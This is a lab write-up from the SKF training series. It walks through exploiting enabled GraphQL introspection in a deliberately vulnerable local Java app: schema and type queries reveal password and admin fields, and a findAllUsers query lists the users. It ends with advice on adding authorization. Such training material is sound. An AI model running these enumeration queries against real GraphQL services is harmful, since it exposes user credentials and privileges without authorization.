SKF write-ups
Search…
Java - GraphQL Introspection

Running the app Java

First make sure java is installed on your host machine. After installation, we go to the folder of the lab we want to practice. "i.e /skf-labs/XSS, /skf-labs/RFI/" and run the following command:
1
$ ./mvnw spring-boot:run
Copied!
Now that the app is running let's go hacking!

Reconnaissance

As soon as we browse on http://0.0.0.0:5000 we see the few posts published by 2 users

Exploitation

We want to use the introspection feature (enabled) in this case, to understand more about what queries are supported.
Let' use the GraphiQL UI to send queries to the backend and discover what is available.
Go to http://0.0.0.0:5000/graphql. We can query the generic __schema using:
1
{
2
__schema {
3
types {
4
name
5
}
6
}
7
}
Copied!
The application gives us interesting Types. Let's explore the User one. If we build another query we can ask for more information, exploring every field available. Let's send the following:
1
{
2
__type(name: "User"){
3
name
4
fields{
5
name
6
}
7
}
8
}
Copied!
In this case, for each field we we want to know what are the subfields and of which type.
The application will answer with:
1
{
2
"data": {
3
"__type": {
4
"name": "User",
5
"fields": [
6
{
7
"name": "id"
8
},
9
{
10
"name": "username"
11
},
12
{
13
"name": "password"
14
},
15
{
16
"name": "admin"
17
}
18
]
19
}
20
}
21
}
Copied!
BINGO! We have some good information here
We can see that there is an interesting field admin, that we can use to find out who is the admin of the application.
Now we just need to query all the Users. To do that, let's see if there is a query available. We can use the following syntax:
1
{
2
__schema{
3
queryType{
4
fields{
5
name
6
description
7
}
8
}
9
}
10
}
Copied!
That will give us the findAllUsers query. Now we need to understand what are the fields. We can do that in different ways, using GraphiQL or doing some more introspection. In this case we use GraphiQL, sending the following query:
1
{
2
findAllUsers{
3
username
4
admin
5
}
6
}
Copied!

Solution

Implement authorization on graphql endpoint. Although authenticated users could query the information, you should not map sensitive information into the type defined into the schema.

Additional resources

GraphQL - OWASP Cheat Sheet Series